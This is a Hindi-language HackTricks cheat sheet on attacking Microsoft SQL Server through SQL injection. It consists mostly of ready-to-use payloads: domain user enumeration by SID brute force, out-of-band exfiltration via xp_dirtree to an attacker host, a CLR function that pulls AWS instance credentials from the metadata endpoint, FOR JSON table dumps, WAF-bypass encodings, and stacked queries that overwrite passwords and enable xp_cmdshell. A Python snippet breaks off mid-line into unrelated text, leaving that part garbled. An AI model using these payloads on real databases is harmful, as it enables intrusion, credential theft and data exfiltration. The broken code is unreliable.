# MSSQL इंजेक्शन
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! HackTricks का समर्थन करने के अन्य तरीके: * यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह * 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**. * **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
## Active Directory एन्युमरेशन MSSQL सर्वर के अंदर SQL इंजेक्शन के माध्यम से **डोमेन यूजर्स का एन्युमरेशन** संभव हो सकता है, निम्नलिखित MSSQL फंक्शन्स का उपयोग करके: * **`SELECT DEFAULT_DOMAIN()`**: वर्तमान डोमेन नाम प्राप्त करें. * **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: यदि आप डोमेन का नाम जानते हैं (_DOMAIN_ इस उदाहरण में) तो यह फंक्शन **यूजर Administrator का SID** हेक्स फॉर्मेट में लौटाएगा. यह दिखेगा `0x01050000000[...]0000f401`, ध्यान दें कि **अंतिम 4 बाइट्स** नंबर **500** हैं **big endian** फॉर्मेट में, जो कि **यूजर एडमिनिस्ट्रेटर का सामान्य ID** है.\ यह फंक्शन आपको **डोमेन का ID जानने** में मदद करेगा (अंतिम 4 बाइट्स को छोड़कर). * **`SUSER_SNAME(0x01050000000[...]0000e803)`** : यह फंक्शन **इंडिकेटेड ID का यूजरनेम** लौटाएगा (यदि कोई हो), इस मामले में **0000e803** big endian में == **1000** (आमतौर पर यह पहले नियमित यूजर ID का होता है). फिर आप कल्पना कर सकते हैं कि आप 1000 से 2000 तक यूजर IDs को ब्रूट-फोर्स कर सकते हैं और शायद डोमेन के सभी यूजर्स के यूजरनेम प्राप्त कर सकते हैं. उदाहरण के लिए निम्नलिखित फंक्शन का उपयोग करके: ```python def get_sid(n): domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' user = struct.pack(' MSSQL का उपयोग करते हुए आपको जो सबसे आम तरीका नेटवर्क कॉल के लिए मिलेगा वह है Stored Procedure `xp_dirtree` का उपयोग, जो अजीब तरह से Microsoft द्वारा अनदस्तावेजित है, जिसके कारण इसे [इंटरनेट पर अन्य लोगों द्वारा दस्तावेज किया गया](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/)। इस मेथड का उपयोग [कई उदाहरणों](https://www.notsosecure.com/oob-exploitation-cheatsheet/) में [Out of Band Data exfiltration](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) पोस्ट्स में किया गया है जो इंटरनेट पर हैं। मूल रूप से, ```sql DECLARE @user varchar(100); SELECT @user = (SELECT user); EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"'); ``` MySQL के `LOAD_FILE` की तरह, आप `xp_dirtree` का उपयोग करके **केवल TCP पोर्ट 445** पर नेटवर्क अनुरोध कर सकते हैं। आप पोर्ट नंबर को नियंत्रित नहीं कर सकते, लेकिन नेटवर्क शेयर्स से जानकारी पढ़ सकते हैं। **PS:** यह `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` पर काम नहीं करता है जो कि `Windows Server 2016 Datacenter` पर डिफ़ॉल्ट कॉन्फ़िग में चल रहा हो। इसके अलावा **अन्य** संग्रहित प्रक्रियाएं हैं जैसे कि [**`master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) या **`xp_subdirs`** जिनका उपयोग समान परिणामों के लिए किया जा सकता है। ### `xp_cmdshell` स्पष्ट रूप से आप **`xp_cmdshell`** का उपयोग करके कुछ **निष्पादित** कर सकते हैं जो कि **SSRF** को ट्रिगर करता है। अधिक जानकारी के लिए **प्रासंगिक अनुभाग पढ़ें**: {% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} [pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/) {% endcontent-ref %} ### MSSQL User Defined Function - SQLHttp यह काफी सरल है कि एक **CLR UDF** (Common Language Runtime User Defined Function - किसी भी **.NET** भाषा में लिखित कोड जो कि एक **DLL** में संकलित होता है) लिखें और **MSSQL में कस्टम फंक्शन्स के लिए इसे लोड करें**। हालांकि, इसके लिए **`dbo` एक्सेस की आवश्यकता होती है** इसलिए यह तब तक काम नहीं कर सकता जब तक कि वेब एप्लिकेशन डेटाबेस से **`sa` या एक एडमिनिस्ट्रेटर रोल के रूप में** कनेक्ट न हो। [इस Github रेपो में Visual Studio प्रोजेक्ट और इंस्टॉलेशन निर्देश हैं](https://github.com/infiniteloopltd/SQLHttp) जो MSSQL में CLR असेंबली के रूप में बाइनरी को लोड करने और फिर MSSQL के भीतर से HTTP GET अनुरोधों को आमंत्रित करने के लिए हैं। `http.cs` कोड `WebClient` क्लास का उपयोग करके GET अनुरोध करता है और निर्दिष्ट सामग्री को प्राप्त करता है ```csharp using System.Data.SqlTypes; using System.Net; public partial class UserDefinedFunctions { [Microsoft.SqlServer.Server.SqlFunction] public static SqlString http(SqlString url) { var wc = new WebClient(); var html = wc.DownloadString(url.Value); return new SqlString (html); } } ``` स्थापना निर्देशों में, `CREATE ASSEMBLY` क्वेरी से पहले निम्नलिखित चलाएं ताकि असेंबली के SHA512 हैश को सर्वर पर विश्वसनीय असेंबलीज़ की सूची में जोड़ा जा सके (आप सूची को `select * from sys.trusted_assemblies;` का उपयोग करके देख सकते हैं) ```sql EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; ``` एक बार असेंबली जोड़ दी जाती है और फंक्शन बना लिया जाता है, हम निम्नलिखित को चलाकर हमारे HTTP अनुरोध कर सकते हैं ```sql DECLARE @url varchar(max); SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; SELECT dbo.http(@url); ``` ## **त्वरित शोषण: एक क्वेरी में पूरी तालिका प्राप्त करें** एक क्वेरी में एक तालिका की पूरी सामग्री को प्राप्त करने के दो सरल तरीके हैं — FOR XML या FOR JSON खंड का उपयोग। FOR XML खंड को एक निर्दिष्ट मोड की आवश्यकता होती है जैसे कि «raw», इसलिए संक्षिप्तता के मामले में FOR JSON इसे प्रदर्शन में मात देता है। वर्तमान डेटाबेस से स्कीमा, तालिकाएं और कॉलम प्राप्त करने के लिए क्वेरी: ``` https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- ``` ![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png) Error-based वेक्टर्स को एक उपनाम या नाम की आवश्यकता होती है, क्योंकि बिना इनके अभिव्यक्तियों का परिणाम JSON के रूप में स्वरूपित नहीं किया जा सकता। ``` https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- ``` ![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png) ## **वर्तमान क्वेरी प्राप्त करना** वर्तमान SQL क्वेरी जो निष्पादित हो रही है, `sys.dm_exec_requests` और `sys.dm_exec_sql_text` से प्राप्त की जा सकती है: ``` https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null ``` **अनुमतियाँ:** यदि उपयोगकर्ता के पास सर्वर पर VIEW SERVER STATE अनुमति है, तो उपयोगकर्ता SQL Server के उदाहरण पर सभी क्रियान्वित सत्रों को देखेगा; अन्यथा, उपयोगकर्ता केवल वर्तमान सत्र को देखेगा। ```sql # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE'; ``` ## **WAF बायपास के लिए छोटी चालें** गैर-मानक सफेद स्थान वर्ण: %C2%85 या %C2%A0: ``` https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- ``` यूनियन को अस्पष्ट करने के लिए वैज्ञानिक (0e) और हेक्स (0x) नोटेशन: ``` https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- ``` FROM के बाद कॉलम नाम के बीच में व्हाइटस्पेस की जगह पीरियड: ``` https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- ``` SELECT और एक फेंकने योग्य कॉलम के बीच \N विभाजक: ``` https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- ``` ### WAF को अपरंपरागत स्टैक्ड क्वेरीज़ के साथ बायपास करना [**इस ब्लॉग पोस्ट**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) के अनुसार, MSSQL में ";" का उपयोग किए बिना क्वेरीज़ को स्टैक करना संभव है:
उदाहरण के लिए, एकाधिक क्वेरीज़ जैसे कि: ```sql use [tempdb] create table [test] ([id] int) insert [test] values(1) select [id] from [test] drop table[test] ``` को कम किया जा सकता है: ```sql use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test] ``` इसलिए यह संभव हो सकता है कि विभिन्न WAFs को बायपास किया जा सके जो इस प्रकार के क्वेरीज़ को स्टैक करने को नहीं मानते हैं। उदाहरण के लिए: ``` # Adding a useless exec() at the end and making the WAF think this isn't a valid querie admina'union select 1,'admin','testtest123'exec('select 1')-- ## This will be: SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--' # Using weirdly built queries admin'exec('update[users]set[password]=''a''')-- ## This will be: SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--' # Or enabling xp_cmdshell admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ## This will be select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ``` ## संदर्भ * [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! HackTricks का समर्थन करने के अन्य तरीके: * यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह * 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**. * **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.